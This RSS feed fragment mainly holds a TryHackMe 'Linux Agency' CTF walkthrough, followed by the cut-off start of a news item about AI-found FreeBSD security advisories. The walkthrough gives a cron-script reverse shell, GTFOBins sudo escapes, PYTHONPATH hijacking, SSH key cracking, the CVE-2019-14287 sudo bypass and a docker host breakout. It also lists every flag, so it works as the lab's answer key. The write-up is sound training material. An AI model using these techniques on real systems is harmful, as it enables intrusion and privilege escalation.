<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[FreeBSD Released the Most Security Advisories in Project History in June 2026]]></title>
<description><![CDATA[On average, the FreeBSD security team releases about 2 security advisories per month. AI has changed this.  In April, the project released 8 advisories, with 6 powered by AI.  In May, the count decreased slightly to 7.  Today I took a look at the FreeBSD Security Advisory page to check the latest...]]></description>
<link>https://tsecurity.de/de/3674900/it-security-nachrichten/freebsd-released-the-most-security-advisories-in-project-history-in-june-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674900/it-security-nachrichten/freebsd-released-the-most-security-advisories-in-project-history-in-june-2026/</guid>
<pubDate>Fri, 17 Jul 2026 03:52:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>On average, the FreeBSD security team releases about 2 security advisories per month. AI has changed this. </div><div> </div><div>In April, the project released 8 advisories, <a href="https://www.reddit.com/r/freebsd/comments/1t0ei6o/ai_found_6_out_of_8_freebsd_security_advisories/">with 6 powered by AI</a>.  In May, the count decreased slightly to 7. </div><div> </div><div>Today I took a look at the <a href="https://www.freebsd.org/security/advisories/">FreeBSD Security Advisory</a> page to check the latest advisory count.</div><div> </div><div>June saw the most number of advisories ever published in project history: 25.</div><div> </div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXCtOGgN23DN0aQXhw-6X5iKxsGy1VTmfao5_Y-s0XjtXS0WQJuy-7CzL1HXqGO6hBkUtJJm78h8EqJNsRnH_ZMk56viiKx9RpMw6T0T1v-ak82oV25lXZr16On78oDaAHkt0G_pEJ1C8pyVUFOaVW7AO_OH3zR73i6zxzVSCHOdegJgGNxrqx/s1600/FreeBSD%20Security%20Vulns%20by%20month.png"><img border="0" data-original-height="686" data-original-width="1600" height="274" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXCtOGgN23DN0aQXhw-6X5iKxsGy1VTmfao5_Y-s0XjtXS0WQJuy-7CzL1HXqGO6hBkUtJJm78h8EqJNsRnH_ZMk56viiKx9RpMw6T0T1v-ak82oV25lXZr16On78oDaAHkt0G_pEJ1C8pyVUFOaVW7AO_OH3zR73i6zxzVSCHOdegJgGNxrqx/w640-h274/FreeBSD%20Security%20Vulns%20by%20month.png" width="640"></a></div>This blows away the previous record of 18 from January 2001. The other big spike was 11 in January 2016.</div><div> </div><div></div><div>AI apaprently discovered at least 9 of the June 2026 FreeBSD vulnerabilities.</div><div> </div><div>On 15 June the FreeBSD Foundation announced the <a href="https://freebsdfoundation.org/blog/freebsd-ai-assisted-vulnerability-discovery-project-launch/">FreeBSD AI-assisted Vulnerability 